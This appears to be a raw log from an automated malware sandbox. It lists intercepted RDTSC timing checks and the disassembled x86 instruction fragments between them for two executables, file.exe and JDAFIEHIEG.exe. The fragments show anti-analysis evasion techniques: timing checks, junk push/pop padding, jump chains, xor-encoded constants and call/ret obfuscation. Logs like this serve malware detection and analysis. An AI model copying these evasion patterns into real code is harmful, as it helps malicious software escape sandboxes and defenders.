Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A05D1 second address: 55A05D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A05D7 second address: 55A05DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A05DB second address: 55A05F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub edx, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F99C163FB00h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A05F7 second address: 55A0632 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C0D73D4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F99C0D73D54h 0x00000013 or al, 00000048h 0x00000016 jmp 00007F99C0D73D4Bh 0x0000001b popfd 0x0000001c push eax 0x0000001d push edx 0x0000001e mov edi, esi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A0632 second address: 55A064F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 dec edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F99C163FB03h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A064F second address: 55A0655 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A0655 second address: 55A0659 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A0659 second address: 55A0715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea ebx, dword ptr [edi+01h] 0x0000000b jmp 00007F99C0D73D57h 0x00000010 mov al, byte ptr [edi+01h] 0x00000013 jmp 00007F99C0D73D56h 0x00000018 inc edi 0x00000019 pushad 0x0000001a mov bh, al 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F99C0D73D59h 0x00000023 xor ax, A386h 0x00000028 jmp 00007F99C0D73D51h 0x0000002d popfd 0x0000002e popad 0x0000002f popad 0x00000030 test al, al 0x00000032 pushad 0x00000033 mov ecx, ebx 0x00000035 push edi 0x00000036 push ecx 0x00000037 pop edi 0x00000038 pop eax 0x00000039 popad 0x0000003a jne 00007F9A310EC0EFh 0x00000040 jmp 00007F99C0D73D4Dh 0x00000045 mov ecx, edx 0x00000047 jmp 00007F99C0D73D4Eh 0x0000004c shr ecx, 02h 0x0000004f jmp 00007F99C0D73D50h 0x00000054 rep movsd 0x00000056 rep movsd 0x00000058 rep movsd 0x0000005a rep movsd 0x0000005c rep movsd 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 movzx eax, di 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A0715 second address: 55A0757 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C163FB02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b jmp 00007F99C163FB00h 0x00000010 and ecx, 03h 0x00000013 jmp 00007F99C163FB00h 0x00000018 rep movsb 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d mov ebx, esi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A086B second address: 55A090B instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F99C0D73D50h 0x00000008 or si, B048h 0x0000000d jmp 00007F99C0D73D4Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 pop esi 0x00000017 jmp 00007F99C0D73D56h 0x0000001c pop ebx 0x0000001d pushad 0x0000001e mov bx, ax 0x00000021 pushfd 0x00000022 jmp 00007F99C0D73D4Ah 0x00000027 add ah, FFFFFFD8h 0x0000002a jmp 00007F99C0D73D4Bh 0x0000002f popfd 0x00000030 popad 0x00000031 leave 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 mov edx, 19FFD6C6h 0x0000003a pushfd 0x0000003b jmp 00007F99C0D73D57h 0x00000040 sub eax, 7246C54Eh 0x00000046 jmp 00007F99C0D73D59h 0x0000004b popfd 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A090B second address: 55A04A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C163FB01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0008h 0x0000000c cmp dword ptr [ebp-2Ch], 10h 0x00000010 mov eax, dword ptr [ebp-40h] 0x00000013 jnc 00007F99C163FAF5h 0x00000015 push eax 0x00000016 lea edx, dword ptr [ebp-00000590h] 0x0000001c push edx 0x0000001d call esi 0x0000001f push 00000008h 0x00000021 jmp 00007F99C163FB00h 0x00000026 push 4ACA9473h 0x0000002b jmp 00007F99C163FB01h 0x00000030 xor dword ptr [esp], 3F53885Bh 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a pushad 0x0000003b popad 0x0000003c pushfd 0x0000003d jmp 00007F99C163FB09h 0x00000042 adc eax, 5B1A3046h 0x00000048 jmp 00007F99C163FB01h 0x0000004d popfd 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A0A96 second address: 55A0A9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 1BF2CD second address: 1BEBB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a clc 0x0000000b push dword ptr [ebp+122D0CB1h] 0x00000011 jnp 00007F99C163FAFCh 0x00000017 call dword ptr [ebp+122D2B86h] 0x0000001d pushad 0x0000001e mov dword ptr [ebp+122D3237h], ecx 0x00000024 xor eax, eax 0x00000026 sub dword ptr [ebp+122D3237h], edi 0x0000002c mov edx, dword ptr [esp+28h] 0x00000030 mov dword ptr [ebp+122D3237h], edx 0x00000036 mov dword ptr [ebp+122D37CBh], eax 0x0000003c pushad 0x0000003d pushad 0x0000003e mov dword ptr [ebp+122D2BB4h], ebx 0x00000044 jnl 00007F99C163FAF6h 0x0000004a popad 0x0000004b mov esi, dword ptr [ebp+122D37F7h] 0x00000051 popad 0x00000052 mov esi, 0000003Ch 0x00000057 jmp 00007F99C163FAFCh 0x0000005c add esi, dword ptr [esp+24h] 0x00000060 mov dword ptr [ebp+122D2BB4h], ebx 0x00000066 cld 0x00000067 lodsw 0x00000069 je 00007F99C163FB03h 0x0000006f jmp 00007F99C163FAFDh 0x00000074 add eax, dword ptr [esp+24h] 0x00000078 xor dword ptr [ebp+122D2BB4h], eax 0x0000007e jmp 00007F99C163FB09h 0x00000083 mov ebx, dword ptr [esp+24h] 0x00000087 jl 00007F99C163FAF7h 0x0000008d stc 0x0000008e pushad 0x0000008f mov dword ptr [ebp+122D1AE4h], edi 0x00000095 jng 00007F99C163FAF6h 0x0000009b popad 0x0000009c nop 0x0000009d push eax 0x0000009e pushad 0x0000009f jmp 00007F99C163FB04h 0x000000a4 push eax 0x000000a5 push edx 0x000000a6 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3305D2 second address: 3305E8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007F99C0D73D68h 0x0000000d push eax 0x0000000e jns 00007F99C0D73D46h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3305E8 second address: 3305F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 329795 second address: 3297A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F99C0D73D46h 0x00000009 jbe 00007F99C0D73D46h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3297A6 second address: 3297B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F99C163FB15h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 32FD20 second address: 32FD2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99C0D73D4Bh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 32FD2F second address: 32FD33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 32FD33 second address: 32FD70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F99C0D73D46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F99C0D73D55h 0x00000016 push edi 0x00000017 pop edi 0x00000018 jg 00007F99C0D73D46h 0x0000001e popad 0x0000001f jnc 00007F99C0D73D4Eh 0x00000025 pushad 0x00000026 popad 0x00000027 jnp 00007F99C0D73D46h 0x0000002d rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 32FD70 second address: 32FD75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 32FD75 second address: 32FD7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 333325 second address: 333329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 333329 second address: 3333DB instructions: 0x00000000 rdtsc 0x00000002 jne 00007F99C0D73D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b js 00007F99C0D73D46h 0x00000011 pop eax 0x00000012 popad 0x00000013 mov dword ptr [esp], eax 0x00000016 jnp 00007F99C0D73D4Ch 0x0000001c mov edi, dword ptr [ebp+122D3A07h] 0x00000022 or dword ptr [ebp+122D33F1h], edx 0x00000028 push 00000000h 0x0000002a mov dword ptr [ebp+122D3208h], ebx 0x00000030 push 3EE3AE2Fh 0x00000035 pushad 0x00000036 ja 00007F99C0D73D4Ch 0x0000003c jng 00007F99C0D73D50h 0x00000042 popad 0x00000043 xor dword ptr [esp], 3EE3AEAFh 0x0000004a mov ecx, 3B1EB8A3h 0x0000004f push 00000003h 0x00000051 jmp 00007F99C0D73D4Bh 0x00000056 push 00000000h 0x00000058 jne 00007F99C0D73D48h 0x0000005e push 00000003h 0x00000060 mov esi, ecx 0x00000062 call 00007F99C0D73D49h 0x00000067 jg 00007F99C0D73D5Ch 0x0000006d push eax 0x0000006e je 00007F99C0D73D4Ah 0x00000074 push esi 0x00000075 pushad 0x00000076 popad 0x00000077 pop esi 0x00000078 mov eax, dword ptr [esp+04h] 0x0000007c pushad 0x0000007d push edi 0x0000007e push eax 0x0000007f push edx 0x00000080 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3333DB second address: 3333E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3333E4 second address: 333461 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F99C0D73D59h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 jmp 00007F99C0D73D54h 0x00000018 pop eax 0x00000019 pop eax 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F99C0D73D48h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 or edx, dword ptr [ebp+122D3947h] 0x0000003a mov dword ptr [ebp+122D31DEh], ebx 0x00000040 lea ebx, dword ptr [ebp+12448065h] 0x00000046 mov dword ptr [ebp+122D18AAh], ebx 0x0000004c xchg eax, ebx 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3335C5 second address: 33368A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edi 0x00000009 jmp 00007F99C163FB09h 0x0000000e pop edi 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jnc 00007F99C163FB0Ch 0x00000019 mov eax, dword ptr [eax] 0x0000001b push edx 0x0000001c pushad 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f jl 00007F99C163FAF6h 0x00000025 popad 0x00000026 pop edx 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b push ecx 0x0000002c jmp 00007F99C163FAFDh 0x00000031 pop ecx 0x00000032 pop eax 0x00000033 jmp 00007F99C163FB05h 0x00000038 lea ebx, dword ptr [ebp+12448070h] 0x0000003e push 00000000h 0x00000040 push eax 0x00000041 call 00007F99C163FAF8h 0x00000046 pop eax 0x00000047 mov dword ptr [esp+04h], eax 0x0000004b add dword ptr [esp+04h], 0000001Ah 0x00000053 inc eax 0x00000054 push eax 0x00000055 ret 0x00000056 pop eax 0x00000057 ret 0x00000058 xchg eax, ebx 0x00000059 jmp 00007F99C163FAFAh 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 jmp 00007F99C163FB02h 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 33368A second address: 33368F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3523CD second address: 3523D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3523D1 second address: 3523D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3523D5 second address: 3523F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F99C163FB02h 0x0000000c pushad 0x0000000d js 00007F99C163FAF6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 35252D second address: 35254A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F99C0D73D53h 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3526E9 second address: 3526FC instructions: 0x00000000 rdtsc 0x00000002 je 00007F99C163FAFAh 0x00000008 push eax 0x00000009 pop eax 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3526FC second address: 352700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 352700 second address: 35272F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C163FB00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F99C163FB02h 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 352A03 second address: 352A09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 352A09 second address: 352A1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F99C163FB01h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 352A1F second address: 352A34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99C0D73D51h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 352A34 second address: 352A38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 352A38 second address: 352A3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 352E36 second address: 352E3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 352E3A second address: 352E3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 352FA0 second address: 352FA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 352FA6 second address: 352FAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 353164 second address: 353193 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F99C163FB02h 0x0000000d jmp 00007F99C163FB01h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 353193 second address: 353199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 353199 second address: 3531B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C163FAFEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3531B0 second address: 3531B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 353311 second address: 353350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007F99C163FB05h 0x00000010 popad 0x00000011 jmp 00007F99C163FB07h 0x00000016 pushad 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 353F55 second address: 353F61 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3540CC second address: 3540D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F99C163FAF6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3540D6 second address: 3540DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3540DA second address: 3540F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99C163FB00h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007F99C163FB0Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 35AC3F second address: 35AC89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push ecx 0x00000008 push esi 0x00000009 jmp 00007F99C0D73D55h 0x0000000e pop esi 0x0000000f pop ecx 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jmp 00007F99C0D73D4Fh 0x00000019 mov eax, dword ptr [eax] 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F99C0D73D52h 0x00000023 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 35AC89 second address: 35ACA3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F99C163FB02h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 362539 second address: 362562 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99C0D73D50h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F99C0D73D52h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 362837 second address: 36283D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36325D second address: 363263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 363263 second address: 363268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 363299 second address: 36329D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36329D second address: 363306 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F99C163FAF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F99C163FB01h 0x0000000f popad 0x00000010 add dword ptr [esp], 3498EF76h 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007F99C163FAF8h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 0000001Ah 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D3237h], ecx 0x00000037 mov dword ptr [ebp+122D2B1Eh], ecx 0x0000003d call 00007F99C163FAF9h 0x00000042 pushad 0x00000043 pushad 0x00000044 jc 00007F99C163FAF6h 0x0000004a pushad 0x0000004b popad 0x0000004c popad 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 363306 second address: 36330A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36330A second address: 363325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F99C163FB01h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 363325 second address: 363345 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F99C0D73D46h 0x00000009 jmp 00007F99C0D73D4Ah 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 363345 second address: 363349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 363349 second address: 363362 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C0D73D55h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 363615 second address: 36361F instructions: 0x00000000 rdtsc 0x00000002 js 00007F99C163FAF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36361F second address: 363635 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F99C0D73D48h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b js 00007F99C0D73D4Eh 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
